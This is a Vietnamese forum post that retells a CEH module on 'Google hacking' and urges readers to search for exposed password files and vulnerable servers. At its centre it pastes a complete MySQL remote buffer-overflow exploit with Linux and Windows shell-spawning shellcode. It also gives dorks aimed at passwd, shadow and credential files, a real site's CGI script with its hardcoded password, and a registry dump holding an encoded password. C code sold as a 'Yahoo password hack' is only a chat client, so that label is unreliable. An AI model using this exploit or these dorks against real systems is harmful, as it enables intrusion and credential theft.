itprofes
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

CEH v6 Module 04:Google Hacking

Go down

CEH v6 Module 04:Google Hacking Empty CEH v6 Module 04:Google Hacking

Bài gửi  admin 10/4/2010, 8:01 pm

CEH v6 Module 04:Google Hacking 100

Trong Module này ,bạn sẽ học được những gì:

-Google Hacking là gì?
-Hacker có thể làm gì với những site lỗi?
-Google Hacking cơ bản
-Google Advanced Operator
-Đánh giá
-Xác định lỗi khai thác và tìm kiếm mục tiêu
-Tìm kiếm,theo dõi hệ thống Web server bị lỗi,cổng đăng nhập và các phần cứng mạng.
-Google Hacking tool

Như các bạn đã biết www.google.com.vn rồi,nhưng đa số chỉ là tìm những từ khóa về 1 lĩnh vực giải trí,tri thức...v.v phải không.Bộ máy tìm kiếm của Google phải nói là cực lớn.Thế Google Hacking là gì

-Bài học Google Hacking chỉ mang tính chất tham khảo về việc sử dụng những kĩ thuật tìm kiếm phức tạp để lọc ra 1 số lượng lớn những thông tin có liên quan đến an ninh bảo mật.Đó chính là mục đích của module này đây.
-Trong Google có khá nhiều website dính mã độc,tuy nhiên Google lại giúp chúng ta phát hiện ra khá nhiều website dính lỗi để khai thác,không những thế,những website riêng tư,những chuyện kín đáo(k bít chuyện gì đây )mã thẻ tín dụng (hấp dẫn ) hay những con số bí mật liên quan tới quốc gia chẳng hạn (số người tham nhũng nè ) .Pà con thấy Google lợi hại chưa
-Google Hacking bao gồm cả việc sử dụng những thuật toán để xác định những chuỗi kí tự,những serial

Tóm lại Google Hacking là 1 thuật ngữ để chỉ việc tìm kiếm 1 lổ hổng của 1 website hay những dữ liệu mang tính riêng tư,tính"nhạy cảm" thông qua bộ máy tìm kiếm
WHAT A HACKER CAN DO WITH VULNERABLE SITE

-Hacker có thể tìm thấy những gì bằng kĩ thuật khai thác Google đây:
• Tìm ra lỗ hổng của server:lỗi phiên bản,bug...
• Những tin tức lỗi mà có thể từ nó thu thập dc nhiều thông tin khác
• Tập tin bao gồm cả password
• Những thư mục "nhạy cảm":thư mục chứa code chẳng hạn
• Trang đăng nhập vào hệ thống
• Trang chứa thông tin về cấu hình mạng, firewall như log firewall chẳng hạn.

GOOGLE HACKING BASIC

ANONYMITY WITH CACHES

-Bạn có thể tìm thấy những thông tin dc lưu tại bộ nhớ Cache.Hãy thử đi.ICT lấy 1 ví dụ đơn giản thôi nè.Vừa rồi VHC bị Ddos,bạn lên www.google.com.vn gõ từ khóa vhc ddos và xem thử coi có xem được thông tin này hay không..Như trường hợp trên bạn thấy dc dòng chữ"Đã lưu trong bộ nhớ Cache"

CEH v6 Module 04:Google Hacking 2

-Vậy là biết được 1 chức năng của Google rồi nha

DIRECTORY LISTING

-Directory listing là gì?Bạn đã bao giờ nghe nói đến chữ "phim Direct link" hay còn gọi tắt là Dlink chưa.Thế thì tại sao lại gọi là direct link nhỉ.Bạn muốn download nó thì sao,chỉ 1 cú click chuột và ngồi đợi trình download tải về là xong.Có dễ không.Vậy thì Directory Listing cũng thế ,nó gồm các thư mục,tập tin thuộc 1 máy chủ nào đó.Muốn có thư mục đó không có gì là khó ,chỉ 1 cú click chuột như đã nói ở trên thui.Tiện thể cho pà con 1 trang phim dạng Directory listing để pà con có thể hình dung rõ về nó.Trang http://movie.ge/movies/ (Kết hợp IDM nha,với site này nếu download hết mà xem thì tết năm sau cũng chưa xong nữa )

CEH v6 Module 04:Google Hacking 3

Directory Listing sử dụng giao thức FTP,những site như thế này bạn có thể thấy đó,giao diện có thể nói k thể đơn giản hơn nữa,phân biệt rõ ràng .Ví dụ như trang phim ICT đưa trên là 1 điển hình.Bạn muốn kiếm phim gì chỉ cần click vào kí tự đầu tiên của tên phim và tìm thui.Hehhe,có thấy dễ kiếm phim không .Còn nhiều trang phim dạng dlink như thế lắm,chỉ sau nha )

-Những mặt hạn chế của Directory Listing:
• Không hạn chế người sử dụng cũng như số lần tải xuống.Bảo mật kém
• Như bạn đã thấy,khi vào 1 trang dạng Directory Listing dữ liệu hiện lên ngay trước mắt bạn đó .Đâu có bị giấu hay mã hóa gì đâu nhỉ .Điều này có thể giúp attacker dùng 1 số kĩ thuật tấn công đặc biệt đê tấn công Webserver(máy chủ,nơi chứa các dữ liệu.Các bạn nên làm quen với các thuật ngữ nha,vì thuật ngữ thì thường k dc dịch )
LOCATING DIRECTORY LISTING

-Làm thế nào để tìm dc 1 site dạng Directory Listing nhỉ?Chỉ 1 từ khóa đơn giản "index.of" trên Google bạn sẽ thấy ngay những site dạng như thế.Nào làm đi,nhìn ngó gì nữa
-Hay bạn muốn kiếm những từ "index.of" nằm ở tựa đề 1 website nào đó.Gõ "intitle:index.of"
-Một vài từ khóa khác như intitle:index.of"parent directory" hoặc intitle:index.of"name size"v.v. sẽ làm hạn chế tối đa và thu hẹp khoảng cách tìm kiếm của bạn.Hãy làm thử với intitle:index.of "movie" hay thay movie bằng 1 từ nào khác tùy mục đích của bạn nha.Làm đi nào.


CEH v6 Module 04:Google Hacking 4

CEH v6 Module 04:Google Hacking 5

FINDING SPECIFIC DIRECTORIES


-Thật là dễ dàng để tìm dc 1 site dạng directory listing phải không,nhưng đó k phải là mục tiêu của bạn.Hãy thử tìm kiếm 1 thư mục có liên quan đến từ khóa "admin' thử xem nào.Gõ làm sao nhỉ . .Có ngay đây:intitle:index.of.admin hay intitle:index.of inurl:admin.Và kết quả đây

CEH v6 Module 04:Google Hacking 6

-Cấu trúc Directory Listing là cấu trúc cây (thư mục là các cây,các thư mục nhỏ hơn là các nhánh và trong nhánh này lại là các tập tin khác ).Ở trên bạn chỉ tìm thư mục,bây giờ tìm kiếm tập tin thử xem nè.Gõ intitle:index.of hack.pdf hay intitle:index.of action.avi (mấy pa coi phim chắc khoái mấy cái này lắm) thử xem.Bạn có thể tìm kiếm cái gì tùy vào sự linh động của bạn.Ở đây ICT thử với cụm từ intitle:index.of password.doc và đã phát hiện ra 1 website nó cho password.Pà con xem dấu khoanh đỏ hình dưới,click vào và tự ngâm cứu nha.Nhiều và nhiều lắm.
CEH v6 Module 04:Google Hacking 7

CEH v6 Module 04:Google Hacking 8

Incremental Substitution
-Hãy thử thay thế các con số trên URL nào đó để xem các tập tin có trước và sau có liên quan gì nhau không.Một vài ví dụ nha https://2img.net/h/i858.photobucket.com/albums/ab148/daotrichkid1412/2.png đổi thành https://2img.net/h/i858.photobucket.com/albums/ab148/daotrichkid1412/3.png thử xem sao.Thay bằng 7,8,9 gì đó cũng không sao.Hay /docs/bulletin/2.xls ---> /docs/bulletin/3.xls .Mục đích đổi thay đổi những con số như thế nhắm kiếm những thứ liên quan với nhau thôi.Tự làm nha
SOME KEYWORD


error|warning
-----------------
login|logon
-----------------
username|userid|employee.ID|"your username is"
----------------
password|passcode|"your password is"
----------------
admin|administrator
-----------------
admin login
-----------------
–ext:html|–ext:htm|–ext:shtml-ext:asp|-ext:php
-----------------
inurl:temp | inurl:tmp |inurl:backup|inurl:bakp
----------------
• Các bạn tự thực hành nha,tìm kiếm dc hay không phụ thuộc vào bạn có linh động hay không trong việc tìm kiếm
LOCATING EXPLOIT AND FINDING TARGET
-Tìm kiếm các exploit bằng các ngôn ngữ lập trình,bạn sẽ tìm thấy các đoạn code mà từ đó có thể làm exploit dc (Cái này gọi là "lượm lặt" code đây mà ).
-Như các bạn đã biết ngôn ngữ C,tiền tố đầu tiên là #include.Để kiếm exploit có code bằng ngôn ngữ C ta thử thêm từ exploit vào thử.Và kiếm dc cái code này,công dụng để hack Mysql (ICT chỉ thấy nó ghi thế,còn hack như thế nào thì k bít )
Mã: Nhấn vào để bôi đen tất cả
Code:
#include < stdio.h >
#include < stdlib.h >
#include < unistd.h >
#include < errno.h >
#include < sys/socket.h >
#include < sys/types.h >
#include < sys/select.h >
#include < netdb.h >
#include < mysql/mysql.h >

#define ROOTUSER " root "
#define PORT 3306
#define MYDB " mysql "
#define ALTCOLUMSQL " ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT "
#define LISTUSERSQL " SELECT user, password FROM mysql.user WHERE user! ='root' LIMIT 0,1 "
#define FLUSHSQL " \x11\x00\x00\x00\x03\x66\x6c\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6c\x65\x67\x65\x73 "
#define BUF 2048
#define VER " 2.1b2 "
#define CMD " uname -a; id\n "
MYSQL *conn;
char NOP [ ] = " 90 ";
char linux_shellcode [ ] =
" db31c03102b0c931 "
" c08580cdc3893474 "
" d231c03180cd07b0 "
" 40b0c03109b180cd "
" c031c38980cd25b0 "
" 80c2fe43f07203fa "
" 14b0c031c38980cd "
" c931c03125b009b1 "
" 17b080cdc03180cd "
" 89504050b0c931e3 "
" b180cda283c889e0 "
" d0f70ae831c78940 "
" 894c40c0525050e2 "
" 4c8d5157db310424 "
" 66b00ab3835980cd "
" 057501f874493a80 "
" 31d2e209c38940c0 "
" fb8980cd3fb003b1 "
" 4180cd496851f8e2 "
" 68732f6e622f2f68 "
" 51e389696c692d68 "
" 51e28970e1895352 "
" c031d23180cd0bb0 "
;
//bind on 53 port

char win_shellcode [ ] =
/*
" 4A5A10EBB966C9333480017DFAE2990A "
" EBE805EB70FFFFFF99999895A938FDC3 "
" 12999999E91295D9D912348512411291 "
" ED12A5EA6A9AE1879AB9E7128DD71262 "
" CECF74AA9AA612C8F36B12623F6AC097 "
" C6C091EDDC9D5E1AC6C0707B125412C7 "
" 5A9ABDDF589A784812FF50AA85DF1291 "
" 78585A9A12589A9B125A9A991A6E1263 "
" 4912975F71C09AF39999991ECB945F1A "
" 65CE66CFF34112C3ED71C09CC9999999 "
" F3C9C9C9669BF398411275CE999B9E5E "
" 59AAAC99F39DDE1066CACE8998F369CE "
" 6DCE66CA66CAC9C9491261CE12DD751A "
" F359AA6D9D10C08910627B17CF10A1CF "
" D9CF10A5B5DF5EFFDE149898AACFC989 "
" C8C8C850C8C898F3FAA5DE5E1499FDF4 "
" C8C9A5DECB79CE66CA65CE66C965CE66 "
" AA7DCE66591C3559CBC860EC4B66CACF "
" 7B32C0C35A59AA7766677671EDFCDE66 "
" FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA "
" EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1 "
" F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB "
" EE99D8E0AAC6ABEACACE99ABFAF6CAD8 "
" D8EDFCF2F7F0FB99F0F599FDF7FCEDEA "
" FAFAF89999EDE9FCEAF6F5FAFAF6EAFC "
" 99EDFCF2 ";
*/
" EB909090334A5A107EB966C90A348001 "
" EBFAE299FFEBE8059570FFFFC3999998 "
" 99A938FDD912999985E9129591D91234 "
" EA12411287ED12A5126A9AE1629AB9E7 "
" AA8DD712C8CECF74629AA61297F36B12 "
" ED3F6AC01AC6C0917BDC9D5EC7C6C070 "
" DF125412485A9ABDAA589A789112FF50 "
" 9A85DF129B78585A9912589A63125A9A "
" 5F1A6E12F34912971E71C09A1A999999 "
" CFCB945FC365CE669CF3411299ED71C0 "
" C9C9999998F3C9C9CE669BF35E411275 "
" 99999B9E1059AAAC89F39DDECE66CACE "
" CA98F369C96DCE66CE66CAC91A491261 "
" 6D12DD7589F359AA179D10C0CF10627B "
" A5CF10A1FFD9CF1098B5DF5E89DE1498 "
" 50AACFC9F3C8C8C85EC8C898F4FAA5DE "
" DE1499FD66C8C9A566CB79CE66CA65CE "
" 66C965CE59AA7DCEEC591C35CFCBC860 "
" C34B66CA777B32C0715A59AA66666776 "
" C9EDFCDED8FAF6EBFCEBFDFDDA99EAEA "
" EDF8FCEBF6EBC9FCEAEAFCFAE1DC99D8 "
" EBC9EDF0EAFCFAF6F6D599EAF0D5FDF8 "
" EBF8EBFBEE99D8E0AAC6ABEACACE99AB "
" FAF6CAD8D8EDFCF2F7F0FB99F0F599FD "
" F7FCEDEAFAFAF89999EDE9FCEAF6F5FA "
" FAF6EAFC99EDFCF29090909090909090 "
;
int win_port=53;
int type=1;
struct
{
char *os;
u_long ret;
int pad;
int systemtype; //0 is linux,1 is windows
} targets [ ] =
{
{ " linux:glibc-2.2.93-5 ", 0x42125b2b,19*4*2,0 },
{ " windows2000 SP3 CN ",0x77e625db,9*4*2,1 },
} v;

void usage (char *);
void sqlerror (char *);
MYSQL *mysqlconn (char *server, int port, char *user, char *pass, char *dbname);

main (int argc, char **argv)
{
MYSQL_RES *result;
MYSQL_ROW row;
char jmpaddress [ 8 ];
char buffer [ BUF ], muser [ 20 ], buf2 [ 1200 ];
my_ulonglong rslines;
struct sockaddr_in clisocket;
int i=0, j, clifd, count, a;
char data1, c;
fd_set fds;
char *serverc=null, *rootpassc=null;
int pad, systemtype;
u_long jmpaddr;

if (argc < 3) usage (argv [ 0 ]);
while ((c = getopt (argc, argv, " d:t:p: "))! = EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi (optarg);
if ((type > sizeof (targets) /sizeof (v)) || (type < 1))
usage (argv [ 0 ]);
break;
case 'p':
rootpass=optarg;
break;
default:
usage (argv [ 0 ]);
return 1;
}
}
if (serverc==null || rootpassc==null)
usage (argv [ 0 ]);
memset (muser,0,20);
memset (buf2,0,1200);
pad=targets [ type-1 ].pad;
systemtype=targets [ type-1 ].systemtype;
jmpaddr=targets [ type-1 ].ret;
printf (" @-------------------------------------------------@\n ");
printf (" # Mysql 3.23.x/4.0.x remote exploit (09/13) -%s #\n ", VER);
printf (" @ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @\n ");
printf (" ---------------------------------------------------\n ");
printf (" [ + ] system type:%s, using ret addr:%p, pad:%d\n ", (systemtype==0)? " linux ": " windows ", jmpaddr, pad);
printf (" [ + ] Connecting to mysql server %s:%d.... ", server, PORT);
fflush (stdout);
conn=mysqlconn (server, PORT, ROOTUSER, rootpass, MYDB);
if (connc==null) exit (0);
printf (" ok\n ");
printf (" [ + ] ALTER user column... ");
fflush (stdout);
if (mysql_real_query (conn, ALTCOLUMSQL, strlen (ALTCOLUMSQL))! =0)
sqlerror (" ALTER user table failed ");
//select
printf (" ok\n ");
printf (" [ + ] Select a valid user... ");
fflush (stdout);
if (mysql_real_query (conn, LISTUSERSQL, strlen (LISTUSERSQL))! =0)
sqlerror (" select user from table failed ");
result=mysql_store_result (conn);
if (resultc==null)
sqlerror (" store result error ");
rslines=mysql_num_rows (result);
if (rslines==0)
sqlerror (" Cannot find a user ");
row=mysql_fetch_row (result);
snprintf (muser,19, " %s ", row [ 0 ]);
printf (" ok\n ");
printf (" [ + ] Found a user:%s, password:%s\n ", muser, row [ 1 ]);
memset (buffer,0, BUF);
i=sprintf (buffer, " update user set password=' ");
sprintf (jmpaddress, " %x ", jmpaddr);
jmpaddress [ 8 ] =0;
for (j=0; j < pad-4; j+=2)
{
memcpy (buf2+j, NOP,2);
}
memcpy (buf2+j, " 06eb ",4);
memcpy (buf2+pad, jmpaddress,8);
switch (systemtype)
{
case 0:
memcpy (buf2+pad+8, linux_shellcode, strlen (linux_shellcode));
break;
case 1:
memcpy (buf2+pad+8, win_shellcode, strlen (win_shellcode));
break;
default:
printf (" [ - ] Not support this systemtype\n ");
mysql_close (conn);
exit (0);
}

j=strlen (buf2);
if (j%8)
{
j=j/8+1;
count=j*8-strlen (buf2);
memset (buf2+strlen (buf2), 'A', count);
}
printf (" [ + ] Password length:%d\n ", strlen (buf2));
memcpy (buffer+i, buf2, strlen (buf2));
i+=strlen (buf2);
i+=sprintf (buffer+i, " ' where user='%s' ", muser);
mysql_free_result (result);
printf (" [ + ] Modified password... ");
fflush (stdout);
//get result
//write (2, buffer, i);
if (mysql_real_query (conn, buffer, i)! =0)
sqlerror (" Modified password error ");
//here I'll find client socket fd
printf (" ok\n ");
printf (" [ + ] Finding client socket...... ");
j=sizeof (clisocket);
for (clifd=3; clifd < 256; clifd++)
{
if (getpeername (clifd, (struct sockaddr *) & clisocket, & j) ==-1) continue;
if (clisocket.sin_port==htons (PORT)) break;
}
if (clifd==256)
{
printf (" FAILED\n [ - ] Cannot find client socket\n ");
mysql_close (conn);
exit (0);
}
printf (" ok\n ");
printf (" [ + ] socketfd:%d\n ", clifd);
//let server overflow
printf (" [ + ] Overflow server.... ");
fflush (stdout);
send (clifd, FLUSHSQL, sizeof (FLUSHSQL),0);
//if (mysql_real_query (conn, FLUSHSQL, strlen (FLUSHSQL))! =0)
// sqlerror (" Flush error ");
printf (" ok\n ");
if (systemtype==0)
{
printf (" [ + ] sending OOB....... ");
fflush (stdout);
data1='I';
if (send (clifd, & data1,1, MSG_OOB) < 1)
{
perror (" error ");
mysql_close (conn);
exit (0);
}
printf (" ok\r\n ");
send (clifd, CMD, sizeof (CMD),0);
}
printf (" [ + ] Waiting for a shell..... \n ");
if (systemtype==1)
{
clifd=socket (AF_INET, SOCK_STREAM,0);
client_connect (clifd, server, win_port);
}
//printf (" [ + ] Waiting a shell..... ");
fflush (stdout);
execsh (clifd);
mysql_close (conn);
exit (0);

}
int execsh (int clifd)
{
fd_set fds;
int count;
char buffer [ BUF ];
memset (buffer,0, BUF);
while (1)
{
FD_ZERO (& fds);
FD_SET (0, & fds);
FD_SET (clifd, & fds);

if (select (clifd+1, & fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET (0, & fds))
{
count = read (0, buffer, BUF);
if (count < = 0) break;
if (write (clifd, buffer, count) < = 0) break;
memset (buffer,0, BUF);
}
if (FD_ISSET (clifd, & fds))
{
count = read (clifd, buffer, BUF);
if (count < = 0) break;
if (write (1, buffer, count) < = 0) break;
memset (buffer,0, BUF);
}

}
}

void usage (char *s)
{
int a;
printf (" @-------------------------------------------------@\n ");
printf (" # Mysql 3.23.x/4.0.x remote exploit (09/13) -%s #\n ", VER);
printf (" @ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @\n ");
printf (" ---------------------------------------------------\n ");
printf (" Usage:%s -d < host > -p < root_pass > -t < type > \n ", s);
printf (" -d target host ip/name\n ");
printf (" -p 'root' user paasword\n ");
printf (" -t type [ default:%d ] \n ", type);
printf (" ------------------------------\n ");
for (a = 0; a < sizeof (targets) /sizeof (v); a++)
printf (" %d [ 0x%.8x ]: %s\n ", a+1, targets [ a ].ret, targets [ a ].os);
printf (" \n ");
exit (0);
}
MYSQL *mysqlconn (char *server, int port, char *user, char *pass, char *dbname)
{
MYSQL *connect;
connect=mysql_init (NULL);
if (connectc==null)
{
printf (" FAILED\n [ - ] init mysql failed:%s\n ", mysql_error (connect));
return NULL;
}
if (mysql_real_connect (connect, server, user, pass, dbname, port, NULL,0) ==NULL)
{
printf (" FAILED\n [ - ] Error: %s\n ", mysql_error (connect));
return NULL;
}
return connect;

}
void sqlerror (char *s)
{
fprintf (stderr, " FAILED\n [ - ] %s:%s\n ", s, mysql_error (conn));
mysql_close (conn);
exit (0);
}

int client_connect (int sockfd, char* server, int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;

if ((host=gethostbyname (server)) ==NULL)
{
printf (" gethostbyname (%s) error\n ", server);
return (-1);
}

bzero (& cliaddr, sizeof (struct sockaddr));
cliaddr.sin_familyc=af_inet;
cliaddr.sin_port=htons (port);
cliaddr.sin_addr=* ((struct in_addr *) host- > h_addr);
printf (" [ + ] Trying %s:%d.... ", server, port);
fflush (stdout);
if (connect (sockfd, (struct sockaddr *) & cliaddr, sizeof (struct sockaddr)) < 0)
{
printf (" error:%s\r\n ", strerror (errno));
return (-1);
}
printf (" ok\r\n ");
return (0);
}

Còn đây là đoạn code hack password yahoo bằng C:

Code:
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define YP_SERV "cs3.yahoo.com"
#define YP_PORT 5050

char xmt[1128], buffer[38];
int flag, k, s;

void yparse();

void main(int argc, char *argv[])
{
char mesg[1024], tmp[38], to[38];
int i, n, out, port;
struct sockaddr_in serv_addr;
struct hostent *server;

if (argc > 1) strncpy(tmp, argv[1], 36);
else
{
printf("Log on as? ");
fgets(tmp, 36, stdin);
tmp[strlen(tmp) - 1] = 0;
}

if (!strlen(tmp)) exit(1);

memset(xmt, 0, sizeof(xmt));
strcpy(xmt, "YPNS1.1");
xmt[8] = 104;
xmt[9] = 3;
xmt[12] = 1; /* Service: Logon */
for (i=32; i < strlen(tmp) + 32; i++)
{
xmt[i] = tmp[i - 32];
xmt[i + 36] = tmp[i - 32];
xmt[i + 72] = tmp[i - 32];
}

port = YP_PORT;
server = gethostbyname(YP_SERV);
if (!server)
{
fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV);
exit(1);
}

s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy(server->h_addr, &serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(port);

if (connect(s, &serv_addr, sizeof(serv_addr)) < 0)
{
perror("** Unable to connect to remote host");
exit(1);
}

printf("** Attempting to log on as \"%s\"\n", tmp);
out = write(s, xmt, sizeof(xmt));
printf("** Sent %i bytes...\n", out);
flag = fcntl(s, F_GETFL, 0);
flag |= O_NONBLOCK;
fcntl(s, F_SETFL, flag);
printf("** Type \"msg\" to send an Instant Message.\n");

while(1)
{
memset(buffer, 0, sizeof(buffer));
memset(to, 0, sizeof(to));
flag = fcntl(0, F_GETFL, 0);
flag |= O_NONBLOCK;
fcntl(0, F_SETFL, flag);
fgets(to, 36, stdin);
to[strlen(to) - 1] = 0;
if (!strcmp(to, "msg"))
{
flag = fcntl(0, F_GETFL, 0);
flag -= O_NONBLOCK;
fcntl(0, F_SETFL, flag);
memset(to, 0, sizeof(to));
printf(" To: ");
fgets(to, 36, stdin);
to[strlen(to) - 1] = 0;
if (strlen(to))
{
memset(mesg, 0, sizeof(mesg));
printf("Msg: ");
fgets(mesg, 1024, stdin);
mesg[strlen(mesg) - 1] = 0;
memset(xmt, 0, sizeof(xmt));
strcpy(xmt, "YPNS1.1");
xmt[8] = 104;
xmt[9] = 4;
xmt[12] = 6; /* Service: Message */
for (i=32; i < strlen(tmp) + 32; i++)
{
xmt[i] = tmp[i - 32];
xmt[i + 36] = tmp[i - 32];
}
for (i=104; i < strlen(to) + 104; i++)
xmt[i] = to[i - 104];
k = strlen(to) + 104;
xmt[k] = 44;
k++;
for (i=0; i < strlen(mesg); i++)
xmt[i + k] = mesg[i];
out = write(s, xmt, sizeof(xmt));
printf("** Sent %i bytes\n", out);
}
}
if (!strcmp(to, "quit"))
exit(0);
if (recv(s, buffer, 1, 0) > 0)
if (buffer[0] == 89) yparse();
else sleep(1);
}
}

void yparse()
{
char tmp[255], nick1[38], nick2[38], content[4096];
int len, service;

recv(s, buffer, 31, 0);
printf("\nServer Version: Y%s\n", buffer);
sprintf(tmp, "%i", buffer[7]);
len = atoi(tmp);
if (len < 0) len += 255;
service = buffer[11];
printf(" Packet Length: %i\n", len);
printf(" Service Type: (%i) ", service);
recv(s, buffer, 36, 0);
strncpy(nick1, buffer, 36);
recv(s, buffer, 36, 0);
strncpy(nick2, buffer, 36);
recv(s, buffer, len, 0);
memset(content, 0, sizeof(content));
strncpy(content, buffer, len);
if (service == 1)
if (content[0] == 69) printf("Bad username; Goodbye");
else printf("User logged on");
if (service == 2)
if (strlen(content)) printf("User logged off");
else printf("Duplicate logins; Goodbye");
if (service == 3) printf("User wandered away");
if (service == 4) printf("User came back");
if (service == 6) printf("Instant Message");
if (service == 11) printf("You've got mail");
if (service == 15) printf("Added you to their contact list");
printf("\n Actual User: %s\n", nick1);
printf(" Active User: %s\n", nick2);
printf(" Content: %s\n", content);
}
Bạn cũng có thể tìm các exploit bằng các ngôn ngữ lập trình khác.Xem bảng dưới đây nha.
CEH v6 Module 04:Google Hacking 9
-Tiếp theo là 1 vài từ khóa để bạn tìm kiếm các lỗi của các mã nguồn,tự vọc nha các bạn
CEH v6 Module 04:Google Hacking 10
CEH v6 Module 04:Google Hacking 11

Locating Targets Via CGI Scanning
-Một cái cổ điển nhất nhưng lại là kĩ thuật quen thuộc nhất để xác định lỗ hổng Webserver là thông qua việc scan CGI.Vậy CGI là gì,nghiên cứu 1 xíu
• CGI là sự mở rộng của máy chủ,làm tăng khả năng của Web-server.Bạn có nghe thuật ngữ website tĩnh,website động chưa,tĩnh ở đây là gì,tĩnh có nghĩa là k có liên kết đến các dữ liệu khác,như website viết bằng HTML chẳng hạn.Còn động thì sao,1 vài bạn chắc tưởng website động là có hình động như flash ,java phải k .K phải thế đâu,động có nghĩa là có sự liên kết dữ liệu đến để thực thi,như website viết bằng PHP chẳng hạn,cần phải có máy chủ để chứ các dữ liệu,sau đó bạn có thể viết riêng từng file php tùy ý bạn.CGI thì sao,nó là 1 chuẩn để kết nối chương trình ứng dụng Webserver,nó làm cho website của bạn linh hoạt,thú vị hơn trong việc xử lí dữ liệu,thay vì là 1 website tĩnh.Có vẻ khó hỉu quá .Xem hình minh họa chắc dễ hiểu hơn:
CEH v6 Module 04:Google Hacking 12

-Trên căn bản,có khá nhiều chương trình"lợi dụng" CGI để phát hiện ra những file nào đính lỗi có thể khai thác.Hình dưới là 1 chương trình scan CGI và 1 danh sách các file dính lỗi
CEH v6 Module 04:Google Hacking 14

-Thử tìm từ khóa inurl:/cgi-bin/password.cgi .ICT tìm dc đoạn code này,pà con xem phân tích chơi

Code:
# Change these variables with your own values
  $correctpass = "terje";
  $correcturl = "http://www.terjes.com/ralphlauren.htm";
  $scriptlocation = "http://www.provencestore.com/cgi-bin/password.cgi";

# Read in form data
  &parse_form;

  $password =  $input{'password'};
  $function = $input{'function'};


  if ($function eq "post") {
      if ($password eq $correctpass) {
          &goto_url;
      }
      &badpassword;
  }
 
  &ask_password;


sub badpassword {
    print "Content-type: text/html\n\n";
    print "<HTML>\n";
    print "<HEAD><TITLE>Invalid Password</Title></HEAD>\n";
    print "<BODY BGCOLOR=#FFFFFF TEXT=#000000 LINK=#0000FF VLINK=#800040 ALINK=#800040>\n";
    print "<CENTER><H2>Invalid Password</H2></CENTER><BR>\n";
    print "</BODY>\n";
    print "</HTML>\n";
    exit;
}

sub ask_password {
    print "Content-type: text/html\n\n";
    print "<HTML>\n";
    print "<HEAD><TITLE>Editor</Title></HEAD>\n";
    print "<BODY BGCOLOR=#FFFFFF TEXT=#000000 LINK=#0000FF VLINK=#800040 ALINK=#800040>\n";
    print "<Center><FONT SIZE=6 COLOR=0000A0><CODE>Please Enter Your Password</CODE></FONT>\n";
    print "<BR><BR><BR><TABLE WIDTH=75% Border=10><TR><TD><CENTER><BR>\n";
    print "<FORM ACTION=$scriptlocation>\n";
    print "<INPUT TYPE=password  NAME=password SIZE=15>\n";
    print "<INPUT TYPE=hidden NAME=function VALUE=post>\n";
    print "<INPUT TYPE=submit VALUE=\"  Verify Me  \">\n";
    print "</FORM>\n";
    print "</CENTER></TD></TR></TABLE>\n";
    print "<FONT SIZE=2 COLOR=000080>Password script - brought to you by The <A HREF=\"http://technotrade.com/cgi\">Techno Trade CGI Archive</A></FONT>\n";
    print "</CENTER></BODY></HTML>\n";

    exit;
}


sub goto_url {

    print "Location: $correcturl\n\n";
}

sub parse_form {

  read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  if (length($buffer) < 5) {
        $buffer = $ENV{QUERY_STRING};
    }
  @pairs = split(/&/, $buffer);
  foreach $pair (@pairs) {
      ($name, $value) = split(/=/, $pair);

      $value =~ tr/+/ /;
      $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

      $input{$name} = $value;
  }
}
TRACKING DOWN WEBSERVERS,LOGIN PORTALS,AND NETWORK HADWARE
-ICT sẽ cung cấp cho các bạn các từ khóa để các bạn tham khảo và biết ý nghĩa của nó
CEH v6 Module 04:Google Hacking 15

CEH v6 Module 04:Google Hacking 16

CEH v6 Module 04:Google Hacking 17

CEH v6 Module 04:Google Hacking 18

CEH v6 Module 04:Google Hacking 19

CEH v6 Module 04:Google Hacking 20

CEH v6 Module 04:Google Hacking 21

-Những ảnh trên là 1 số lỗi webserver,các bạn tập gõ lệnh tìm kiếm cho quen nha,mục đích bài này chỉ là tìm kiếm mà thôi .Tìm kiếm các thiết bị mạng:
CEH v6 Module 04:Google Hacking 22

-Gõ thử từ khóa này xem.filetype:reg intext:"internet account manager" Sau 1 hồi tìm kiếm thì ICT kiếm dc cái này,nhưng password đã dc mã hóa,nghe nói dịch ngược lại dc,từ từ nha,đây chỉ là bắt đầu thui mà.Yên tâm

Code:
[HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000101]
"Account Name"="formabinari.com"
"Connection Type"=dword:00000003
"POP3 Server"="pop.formabinari.com"
"POP3 User Name"="!!!sudireccion"
"POP3 Prompt for Password"=dword:00000000
"SMTP Server"="smtp.formabinari.com"
"SMTP Display Name"="!!!Su nombre"
"SMTP Email Address"="!!!sudireccion"
"POP3 Skip Account"=dword:00000000
"SMTP User Name"=""
"SMTP Password2"=hex:01,02,66,00,6f,00,72,00,6d,00,61,00,62,00,69,00,6e,00,61,\
  00,72,00,69,00,2e,00,63,00,6f,00,6d,00,36,00,34,00,32,00,42,00,46,00,34,00,\
  43,00,30,00,00,00
"SMTP Use Sicily"=dword:00000002
"SMTP Prompt for Password"=dword:00000000

Một vài từ khóa khác như intext:password-passcode-pass và nhớ kết hợp với intext:username -userid--user
• "http://*:*@www" site"
• filetype:bak inurl:"htaccess|passwd|shadow|htuser"
• filetype:mdb inurl:"account|users|admin|administrators|passwd|p assword"
• intitle:"Index of" pwd.db
• inurl:admin inurl:backup intitle:index.of
• "Index of/" "Parent Directory" "WS_FTP.ini"
• filetype:ini WS_FTP PWD
• ext:pwd inurl: service|authors|administrators|users) "# -FrontPage-"
